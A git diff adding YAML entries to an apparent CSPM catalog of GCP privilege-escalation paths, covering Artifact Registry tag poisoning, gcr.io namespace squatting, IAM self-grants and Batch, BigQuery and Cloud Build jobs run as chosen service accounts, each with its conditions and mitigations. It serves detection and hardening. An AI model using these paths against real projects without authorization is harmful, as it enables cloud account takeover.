version_sa_artifact_registry + description: The default SA itself needs artifactregistry.repositories.uploadArtifacts (and downloadArtifacts for flexible) or the deployment never reaches execution. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Enforce constraints/appengine.enforceServiceAccountActAsCheck and remove roles/editor from the App Engine default SA. + references: + - https://docs.cloud.google.com/iam/docs/service-accounts-actas + notes: Complements gcp-appengine-versions-create-actas (which requires actAs) for the documented legacy exception. The project must expose the legacy constraint and its effective policy must leave the actAs check unenforced; missing policy evidence remains unresolved. +- id: gcp-appengine-instances-enabledebug + provider: gcp + service: appengine + title: SSH into an App Engine flexible instance and use its service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-appengine-privesc.md#ssh-into-a-flexible-environment-instance-through-debug-mode-or-os-login + source_revision: 171e422 + summary: The source can obtain the privileges of the service account of App Engine flexible versions on which it holds appengine.instances.enableDebug, or OS Login plus actAs on that service account. + requires: + any_of: + - - action: appengine.instances.enableDebug + resource: '{target.host_resource}' + - - action: compute.instances.osLogin + resource: '*' + - action: iam.serviceAccounts.actAs + resource: '{target.email}' + - - action: compute.instances.osAdminLogin + resource: '*' + - action: iam.serviceAccounts.actAs + resource: '{target.email}' + target: + kind: gcp_service_account + selector: + attached_to_service: appengine_version + gcp_appengine_instance_ssh_path: true + scope: same_project + aggregate_as: SAs of App Engine flexible versions the source can debug + conditions: + - id: flexible_only + description: Only App Engine flexible instances support SSH debug; standard environment versions are not reachable. + - id: ssh_reachability + description: The instance VM must be reachable over SSH from the source (external IP, or IAP TCP forwarding which adds iap.tunnelInstances.accessViaIAP and a firewall path). + - id: os_login_scope + description: The OS Login branch needs the role at project level for the CLI (or compute.projects.get); external-organization principals also need compute.osLoginExternalUser. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict roles/appengine.appAdmin and avoid privileged SAs on flexible versions. + references: + - https://docs.cloud.google.com/appengine/docs/flexible/debugging-an-instance + - https://docs.cloud.google.com/compute/docs/oslogin/set-up-oslogin + notes: The debug branch does not require actAs or Compute setMetadata (the debug request carries the SSH key). The OS Login branch requires actAs because the VM has an attached SA. Both branches join the exact flexible instance, backing VM and runtime service account; a public IP or authorized IAP route remains conditional on SSH firewall access. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/artifactregistry.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/artifactregistry.yaml new file mode 100644 index 0000000000..7ecbfdc0bb --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/artifactregistry.yaml @@ -0,0 +1,110 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP Artifact Registry privilege escalation techniques (supply chain into workloads that pull artifacts). +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-artifact-registry-privesc.md (rev 171e422); gcr.io squat and dependency confusion now live on gcp-persistence/gcp-artifact-registry-persistence.md. +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# attached_to_service: artifact_consumer -> run-as SA of any workload (GKE node/KSA-bound GSA, Cloud Run, Cloud Build, VM, +# Batch, Vertex, ...) whose image/package reference resolves to the repository in "{target.artifact_arn}". The consumer +# mapping must come from collected workload specs; pinned-digest references are not affected. +- id: gcp-artifactregistry-upload-artifacts + provider: gcp + service: artifactregistry + title: Replace a tagged Docker image consumed by a privileged workload + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md#artifactregistryrepositoriesuploadartifacts--poison-an-artifact-consumed-by-a-privileged-workload + source_revision: 171e422 + summary: The source may reach a runtime or build account when it can replace an exact tagged image that an observed Cloud Run, Cloud Build, or GKE consumer later fetches. + requires: + all_of: + - action: artifactregistry.repositories.uploadArtifacts + resource: '*' + target: + kind: gcp_service_account + selector: + gcp_artifact_upload_consumer_path: true + scope: any + aggregate_as: Runtime SAs of observed Cloud Run, Cloud Build, and GKE consumers of writable tagged images + conditions: + - id: mutable_reference + description: An observed Cloud Run image, inline Cloud Build step, or joined GKE Pod must reference a tag in the same standard Docker repository, and the repository must allow tag changes. + - id: redeploy + description: Cloud Run services and worker pools resolve tags to digests per revision; jobs, build steps, and new GKE Pods may fetch the changed tag later. + - id: immutable_tags + description: Repositories with immutable tags enabled reject re-tagging an existing tag. + - id: binary_authorization + description: Binary Authorization / signature verification on the consumer blocks unsigned images. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Restrict roles/artifactregistry.writer, enable immutable tags, pin consumers to digests and enforce Binary Authorization. + references: + - https://cloud.google.com/iam/docs/roles-permissions/artifactregistry + notes: The active path covers Docker tags with exact consumers. Replacing a stored image does not change already-deployed Cloud Functions or App Engine versions. +- id: gcp-artifactregistry-repositories-setiampolicy + provider: gcp + service: artifactregistry + title: Self-grant writer on a repository through its IAM policy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md#artifactregistryrepositoriessetiampolicy--self-grant-control-of-a-repository + source_revision: 171e422 + summary: The source can grant itself upload rights on an exact Docker repository and may reach the runtime account of a workload that later fetches its tagged image. + requires: + all_of: + - action: artifactregistry.repositories.setIamPolicy + resource: '*' + target: + kind: gcp_service_account + selector: + gcp_artifact_policy_consumer_path: true + scope: any + aggregate_as: Run-as SAs of workloads consuming Artifact Registry repositories whose IAM the source controls + conditions: + - id: followup_upload + description: The repository must be a standard Docker repository used by a recorded tag-based Cloud Run image; a future deployment or execution must fetch the altered image. + - id: allowed_member_domains + description: An effective allowed-member-domains policy may reject a self-grant and leaves the path unresolved until the source member is checked against it. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Restrict artifactregistry.repositories.setIamPolicy (roles/artifactregistry.admin, roles/owner). + references: + - https://docs.cloud.google.com/artifact-registry/docs/reference/rest/v1/projects.locations.repositories/setIamPolicy + - https://docs.cloud.google.com/artifact-registry/docs/reference/rest/v1/projects.locations.repositories + notes: A blind setIamPolicy call does not require getIamPolicy. The path is conditional on a successful self-grant, upload, and future tag pull. Immutable tags or unknown allowed-member constraints remain unresolved. Public exposure through allUsers is a data-exposure outcome and is not modeled. +- id: gcp-artifactregistry-gcrio-namespace-squat + provider: gcp + service: artifactregistry + title: Create the missing gcr.io-named repository to claim a redirected legacy namespace + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md#squat-the-legacy-gcrio-namespace-as-a-permanent-backdoor---artifactregistryrepositoriescreate + source_revision: 4e9b5eaaa6 + summary: The source can put a controlled image into a missing gcr.io repository after redirection and may reach a workload's runtime service account if its tagged image is fetched on a later deployment or execution. + requires: + all_of: + - action: artifactregistry.repositories.create + resource: '*' + - action: artifactregistry.repositories.uploadArtifacts + resource: '*' + target: + kind: gcp_service_account + selector: + gcp_gcr_namespace_path: true + scope: any + aggregate_as: Runtime SAs of workloads with tagged images in a missing redirected gcr.io repository + conditions: + - id: redirection_enabled + description: The image's registry project must have full gcr.io redirection enabled, and that host's repository must be absent from a complete listing of its matching multi-region. + - id: legacy_consumers + description: An observed Cloud Run service or job must use a tag-based gcr.io image from that project and fetch it after the repository is created; digest-pinned references cannot be replaced through this path. + - id: push_after_create + description: The caller must push a modified image into the newly created repository; uploadArtifacts is required for that action. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Create the intended gcr.io-named repositories in migrated projects, limit repository creation and upload rights, and pin workload images by digest. + references: + - https://docs.cloud.google.com/artifact-registry/docs/reference/rest/v1/ProjectSettings + - https://docs.cloud.google.com/artifact-registry/docs/transition/gcr-repositories + notes: The modeled edge requires matching create and upload rights plus a recorded Cloud Run consumer and remains conditional on a future image fetch. GKE and other consumers without an exact runtime identity join remain unresolved. The runtime service account may be in another project. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/batch.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/batch.yaml new file mode 100644 index 0000000000..9a0e6e8fd0 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/batch.yaml @@ -0,0 +1,40 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP Batch privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-batch-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. + +- id: gcp-batch-jobs-create-actas + provider: gcp + service: batch + title: Create a Batch job whose VMs run as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-batch-privesc.md#submit-arbitrary-code-as-a-more-privileged-job-service-account + source_revision: 171e422 + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs. + requires: + all_of: + - action: batch.jobs.create + resource: "*" + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + gcp_batch_agent_reporter_on_target: true + scope: same_project + aggregate_as: "Service accounts usable as Batch job SA in {project}" + conditions: + - id: default_sa_needs_actas + description: Omitting the SA uses the Compute Engine default SA, and actAs on it is still required (enforced at submit). + - id: custom_sa_agent_roles + description: The selector checks batch.states.report on the job SA in the job project; roles/logging.logWriter is only needed when logs go to Cloud Logging. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Grant iam.serviceAccounts.actAs only on dedicated low-privilege Batch SAs and remove roles/editor from the Compute Engine default SA. + references: + - https://cloud.google.com/batch/docs/create-run-job-custom-service-account + notes: Container runnables also reach the metadata server, so container isolation does not prevent the token use. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/beyondcorp.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/beyondcorp.yaml new file mode 100644 index 0000000000..fe51488c70 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/beyondcorp.yaml @@ -0,0 +1 @@ +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/bigquery.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/bigquery.yaml new file mode 100644 index 0000000000..49373b3d49 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/bigquery.yaml @@ -0,0 +1,136 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP BigQuery privilege escalation techniques (identity-yielding only; dataset/table/connection data access is excluded). +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-bigquery-privesc.md (rev 171e422). +# attached_to_service: bigquery_spark_connection -> the service identity of an existing BigQuery Spark connection +# ("{target.host_resource}" = that connection); the Google-managed connection SA is not in the project SA inventory. +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. + +- id: gcp-bigquery-transfers-scheduled-query-actas + provider: gcp + service: bigquery + title: Create or update a Data Transfer Service scheduled query bound to a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md#bigquerytransfersupdate--iamserviceaccountsactas--scheduled-sql-as-a-service-account + source_revision: 171e422 + summary: A scheduled query can use a named service account to read a table the caller cannot read and write its results to a dataset the caller can read, when the exact configuration, service agent, and query permissions allow it. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.resource}" + - action: bigquery.datasets.get + resource: "*" + any_of: + - - action: bigquery.transfers.update + resource: "*" + - - action: bigquery.jobs.create + resource: "*" + - action: bigquery.transfers.get + resource: "*" + target: + kind: gcp_verified_authority + selector: + gcp_bounded_service_execution: bigquery_scheduled_query + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + outcome: bounded_authority + aggregate_as: "Service accounts usable as BigQuery scheduled-query SA in {project}" + conditions: + - id: exact_table_gain + description: The service account must be able to read a named table the caller cannot read, create a result table in a same-location destination dataset, and run a BigQuery job in the transfer project. The caller must be able to read that destination. + - id: exact_configuration_path + description: The caller must have a documented creation permission set on the transfer project or update and get on a named existing scheduled-query config for that destination. + - id: dts_agent_token_creator + description: The Data Transfer API must be enabled, and its service agent (service-@gcp-sa-bigquerydatatransfer) must have its service-agent role or getAccessToken on the target service account. + - id: sql_only + description: The SA is used only to run SQL (reads, DML, EXPORT DATA, DCL on datasets the SA administers), not as a general token. + - id: update_needs_actas + description: Changing the query of an existing SA-bound config also needs actAs on its SA; transfers.update alone is not enough. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Grant actAs only on dedicated scheduled-query SAs and avoid broad Token Creator grants to the DTS service agent. + references: + - https://cloud.google.com/bigquery/docs/scheduling-queries + notes: Legacy permission name bigquery.datatransfer.transferConfigs.* is not used by current IAM; roles/editor and roles/owner already contain both permissions. Power is limited to BigQuery (and storage via EXPORT DATA). + +- id: gcp-bigquery-continuous-query-actas + provider: gcp + service: bigquery + title: Run a BigQuery continuous query bound to a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-bigquery-persistence.md#continuous-query-bound-to-a-service-account--bounded-real-time-exfiltration + source_revision: 4e9b5eaaa6 + summary: The caller can submit a continuous query as an exact service account when an active eligible reservation and compatible source and destination tables support a new bounded BigQuery table read or write. + requires: + all_of: + - action: bigquery.jobs.create + resource: "*" + - action: iam.serviceAccounts.actAs + resource: "{target.resource}" + target: + kind: gcp_verified_authority + selector: + gcp_bounded_service_execution: bigquery_continuous_query + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + outcome: bounded_authority + aggregate_as: "Service accounts usable as BigQuery continuous-query SA in {project}" + conditions: + - id: continuous_reservation + description: The project needs an Enterprise or Enterprise Plus reservation with a CONTINUOUS job-type assignment. + - id: sql_only + description: The SA is used only for supported continuous-query operations (reads of new rows, export to Pub/Sub/Bigtable/Spanner or BigQuery table writes); sources with row/column-level security cannot be read. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: medium + mitigation: Grant actAs only on dedicated continuous-query SAs and restrict CONTINUOUS reservation assignments. + references: + - https://cloud.google.com/bigquery/docs/continuous-queries-introduction + notes: Sibling of gcp-bigquery-transfers-scheduled-query-actas. An exact new table read or write route is conditional; incomplete reservation, permission, or table evidence is unresolved. This is not general service-account impersonation. +- id: gcp-bigquery-spark-procedure-connection-identity + provider: gcp + service: bigquery + title: Create or replace a Spark stored procedure that runs code as an existing Spark connection's service identity + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md#bigqueryroutinescreate--bigqueryconnectionsdelegateuse--code-execution-through-a-spark-connection + source_revision: 6fb9ac51fd + summary: The source can run a Spark procedure as an existing connection identity when it can write and invoke the procedure in a compatible dataset and use that exact connection, and the identity holds an effective permission the source lacks. + requires: + all_of: + - action: bigquery.routines.get + resource: '*' + - action: bigquery.jobs.create + resource: '*' + - any_of: + - - action: bigquery.routines.create + resource: '*' + - - action: bigquery.routines.update + resource: '*' + target: + kind: gcp_service_account + selector: + gcp_bigquery_spark_connection_path: true + scope: any + aggregate_as: Service identities of BigQuery Spark connections the source can delegate + conditions: + - id: privileged_connection_identity + description: Escalation only exists when the existing connection's service identity already holds permissions the source lacks; a newly created connection identity starts without useful grants. + - id: dataset_location + description: The procedure must be created (or an existing one replaced) in a dataset the source can write, in the connection's location. + - id: replace_existing_procedure + description: The routines.update branch replaces an existing Spark procedure's body; the connection delegation check still applies to the replaced definition. + - id: setiampolicy_followup + description: A source with setIamPolicy may grant itself connectionAdmin on the exact connection when its policy and effective organization constraints are complete; conditional restrictions remain unresolved. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Restrict roles/bigquery.connectionAdmin and roles/bigquery.connectionUser on Spark connections, restrict routine create/update on datasets in the connection's location, and keep the connection identity least-privileged. + references: + - https://docs.cloud.google.com/bigquery/docs/spark-procedures + - https://docs.cloud.google.com/bigquery/docs/connect-to-spark + notes: The page documents SQL create (routines.create + connections.delegate + jobs.create), CREATE OR REPLACE / direct routines.update (routines.update), direct Routines API create (no job) and invocation (routines.get + connections.use + jobs.create); jobs.create is always needed for the call. Google does not document a caller-side actAs check for the EXTERNAL SECURITY INVOKER custom service-account variant; that variant is not modelled. The selector also checks a prospective connectionAdmin self-grant through setIamPolicy when the exact policy and effective member constraints are collected. Other connection consumers (EXTERNAL_QUERY, remote functions, BigLake tables) are data access or audience-bound and are excluded. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/bigquery_row_policy.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/bigquery_row_policy.yaml new file mode 100644 index 0000000000..446dde19d0 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/bigquery_row_policy.yaml @@ -0,0 +1,40 @@ +# A row-policy GRANT TO automatically gives the named principal the system-managed +# filteredDataViewer role. A path requires typed reviewed before/after evidence +# for an exact table and the acting principal; the DDL permission alone is not +# proof that the caller was granted access. +# Canonical policy: peaso/privesc/catalog_policy.yaml +- id: gcp-bigquery-row-policy-create-self-grant + provider: gcp + service: bigquery + title: Self-grant filtered row access by creating a row access policy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md#bigqueryrowaccesspoliciescreateupdate--self-grant-filtered-row-access + source_revision: f0f683242a + summary: The source can create a new row access policy with itself in GRANT TO on a table that already has row policies, adding filtered row access it does not currently hold. + requires: + all_of: + - action: bigquery.rowAccessPolicies.create + resource: '{target.policy_resource}' + - action: bigquery.rowAccessPolicies.setIamPolicy + resource: '{target.policy_resource}' + - action: bigquery.tables.getData + resource: '{target.policy_resource}' + - action: bigquery.jobs.create + resource: '{target.scope}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: same_project + outcome: permission_grant + grants: + - bigquery.rowAccessPolicies.getFilteredData + aggregate_as: Possible row-policy self-grant on an exact table + conditions: + - id: exact_row_policy_self_grant + description: Requires an existing table with row policies, complete policy IAM inventory, no prior filteredDataViewer grant to the source, and the exact permissions to create a policy that grants the source access. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict row access policy creation on sensitive tables and review policy grantees and filters. + notes: A new policy can grant the source filteredDataViewer on this table. Tables without existing row policies already expose all rows to a principal with tables.getData, so they are excluded. Missing policy IAM, group, deny, or organization evidence leaves the path unresolved; the 400-policy table limit blocks a new policy. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/bigtable.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/bigtable.yaml new file mode 100644 index 0000000000..fe51488c70 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/bigtable.yaml @@ -0,0 +1 @@ +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/bms_external.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/bms_external.yaml new file mode 100644 index 0000000000..99664d27f5 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/bms_external.yaml @@ -0,0 +1,3 @@ +# A BMS initial password is not a path merely because a secret was read. The +# exact server user, live password, and newly allowed OS action require review. +# Canonical policy: peaso/privesc/catalog_policy.yaml diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/bounded-effects-v5.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/bounded-effects-v5.yaml new file mode 100644 index 0000000000..d07e56cbc9 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/bounded-effects-v5.yaml @@ -0,0 +1,3 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP privilege escalation catalog: no active entries after the principal/permission-path review. +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/bounded_access.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/bounded_access.yaml new file mode 100644 index 0000000000..bfcdf7011b --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/bounded_access.yaml @@ -0,0 +1,6 @@ +# Indirect object access is a new bounded effective permission only when the +# source can perform every declared action on exact resources and reviewed +# before/after evidence proves the same protected action became allowed. +# Wildcard prefilter requirements are narrowed to exact ActionResources by +# gcp_bounded_access_gain; they never authorize an edge on their own. +# Canonical policy: peaso/privesc/catalog_policy.yaml diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/bulk-principal-v6.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/bulk-principal-v6.yaml new file mode 100644 index 0000000000..667266877c --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/bulk-principal-v6.yaml @@ -0,0 +1,2 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/challenge-v3.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/challenge-v3.yaml new file mode 100644 index 0000000000..0280e114c8 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/challenge-v3.yaml @@ -0,0 +1,3 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP v3 challenge: every path needs exact reviewed evidence. No general IAM action alone is a finding. +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/cloudbuild.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/cloudbuild.yaml new file mode 100644 index 0000000000..23948f0f4f --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/cloudbuild.yaml @@ -0,0 +1,176 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP Cloud Build privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-cloudbuild-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# attached_to_service: cloudbuild_default_identity -> the project's default Cloud Build identity (Compute default SA on newer +# projects or the legacy @cloudbuild.gserviceaccount.com), not an attachment to a collected resource. + +- id: gcp-cloudbuild-builds-create-custom-sa-actas + provider: gcp + service: cloudbuild + title: Submit a build running as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md#cloudbuildbuildscreate--execute-build-steps-as-a-build-service-account + source_revision: 171e422 + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + - action: cloudbuild.builds.create + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + gcp_cloudbuild_api_enabled: true + scope: same_project + aggregate_as: "Service accounts usable as Cloud Build identity in {project}" + conditions: + - id: cloudbuild_api_enabled + description: Cloud Build API must be enabled in the service account's build project; unavailable service inventory leaves this path unresolved. + - id: logging_option + description: A build with a custom SA must specify a logs bucket or a CLOUD_LOGGING_ONLY/NONE logging option; this does not prevent execution. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: derived + severity: critical + mitigation: Grant actAs only on specific SAs; no predefined Cloud Build role carries actAs, so review roles/editor, roles/owner and roles/iam.serviceAccountUser holders. + references: + - https://cloud.google.com/build/docs/securing-builds/configure-user-specified-service-accounts + - https://docs.cloud.google.com/build/docs/iam-roles-permissions + notes: HackTricks scopes the user-specified SA to SAs inside the build project. This entry also covers the trigger path (HackTricks cloudbuild.triggers.create / cloudbuild.triggers.run section). Google documents that triggers.create, patch, delete and run all require cloudbuild.builds.create; there are no cloudbuild.triggers.* IAM permissions, and the trigger's SA still needs actAs, so the trigger path has exactly this permission set. +- id: gcp-cloudbuild-builds-create-default-identity + provider: gcp + service: cloudbuild + title: Submit a build running as the legacy Cloud Build service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md#cloudbuildbuildscreate--execute-build-steps-as-a-build-service-account + source_revision: 6fb9ac51fd + summary: The source can execute build steps as a project's enabled legacy Cloud Build service account without iam.serviceAccounts.actAs on that Google-owned identity. + requires: + all_of: + - action: cloudbuild.builds.create + resource: '*' + target: + kind: gcp_service_account + selector: + attached_to_service: cloudbuild_default_identity + gcp_sa_in_scope_of_permission: true + gcp_cloudbuild_api_enabled: true + target_id_glob: '*@cloudbuild.gserviceaccount.com' + scope: same_project + aggregate_as: Legacy Cloud Build service account of {project}, when enabled + conditions: + - id: cloudbuild_api_enabled + description: Cloud Build API must be enabled in the project reporting this legacy default; unavailable service inventory leaves the path unresolved. + - id: legacy_default_enabled + description: Only projects retaining and enabling the legacy Cloud Build default identity permit builds without caller actAs; current Compute Engine defaults require actAs and are covered by gcp-cloudbuild-builds-create-custom-sa-actas. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Configure builds to use a dedicated least-privilege SA, remove Editor from the Compute default SA and restrict roles/cloudbuild.builds.editor. + references: + - https://cloud.google.com/build/docs/cloud-build-service-account-updates + notes: The target_id_glob excludes Compute Engine default SAs. The Google-owned legacy identity is synthesized only from a collected Cloud Build default-service-account response, so it need not appear in ordinary service-account inventory. +- id: gcp-cloudbuild-repositories-accessreadwritetoken + provider: gcp + service: cloudbuild + title: Obtain a read/write SCM token for a connected repository that feeds build triggers + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md#cloudbuildrepositoriesaccessreadwritetoken--poison-source-consumed-by-a-privileged-trigger + source_revision: 171e422 + summary: The source can obtain the privileges of the service account of build triggers that build from a connected repository on which it holds cloudbuild.repositories.accessReadWriteToken. + requires: + all_of: + - action: cloudbuild.repositories.accessReadWriteToken + resource: '*' + target: + kind: gcp_service_account + include_service_managed: true + selector: + gcp_cloudbuild_writable_trigger_token_path: true + scope: any + aggregate_as: SAs of triggers building from writable connected repositories + conditions: + - id: trigger_on_push + description: A collected enabled push trigger must use the same repository, read an unpinned build config from that repository, and run as the named service account. + - id: branch_protection + description: SCM branch or tag protection can prevent the token from updating a ref matched by the trigger. + blockers: + - gcp_deny_policy + confidence: conditional + severity: medium + mitigation: Restrict cloudbuild.repositories.accessReadWriteToken (roles/cloudbuild.tokenAccessor) and protect trigger branches. + notes: The token itself is a short-lived repo-scoped SCM credential; the GCP identity is only reached through a trigger. A pinned or separate build config, manual approval, a CEL filter, or a cross-project repository or build identity leaves the path unresolved. +- id: gcp-cloudbuild-connections-setiampolicy-token-access + provider: gcp + service: cloudbuild + title: Self-grant repository token access on a Cloud Build connection that feeds build triggers + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md#cloudbuildconnectionssetiampolicy--self-grant-repository-token-access + source_revision: 171e422 + summary: The source can obtain the privileges of the service account of build triggers that build from repositories under a Cloud Build connection whose IAM policy it controls. + requires: + all_of: + - action: cloudbuild.connections.setIamPolicy + resource: '*' + target: + kind: gcp_service_account + include_service_managed: true + selector: + gcp_cloudbuild_writable_trigger_policy_path: true + scope: any + aggregate_as: SAs of triggers building from repositories of connections whose IAM the source controls + conditions: + - id: connection_parent + description: The exact connection and linked repository must be inventoried, and the source must control that connection's IAM policy. The repository must feed an enabled push trigger with a source-controlled build config. + - id: followup_token + description: The source must lack repository write-token access before the grant, then self-grant it, obtain the token, and push a matching ref; SCM protection can still block the push. + - id: allowed_member_domains + description: An effective allowed-member constraint can reject the proposed self-binding; incomplete constraint or connection-policy evidence stays unresolved. + blockers: + - gcp_deny_policy + confidence: conditional + severity: medium + mitigation: Restrict cloudbuild.connections.setIamPolicy (roles/cloudbuild.connectionAdmin) and protect trigger branches. + references: + - https://docs.cloud.google.com/build/docs/iam-roles-permissions + notes: Without a trigger consuming attacker-writable input the impact is SCM repository access only. A pinned or separate build config, manual approval, a CEL filter, an unconfirmed connection or repository, or a cross-project repository or build identity leaves the path unresolved. +- id: gcp-cloudbuild-builds-create-cross-project-actas + provider: gcp + service: cloudbuild + title: Submit a build with a cross-project service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md#cloudbuildbuildscreate--execute-build-steps-as-a-build-service-account + source_revision: 171e422 + summary: The source may run build steps as a service account from another project when its project allows cross-project attachment and the Cloud Build service agent can mint its tokens. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + - action: cloudbuild.builds.create + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_cross_project_cloudbuild: true + scope: any + aggregate_as: "Service accounts usable by builds in another project" + conditions: + - id: cloudbuild_api_enabled + description: Cloud Build API must be enabled on the exact build project; denied or incomplete service inventory leaves the attachment unresolved. + 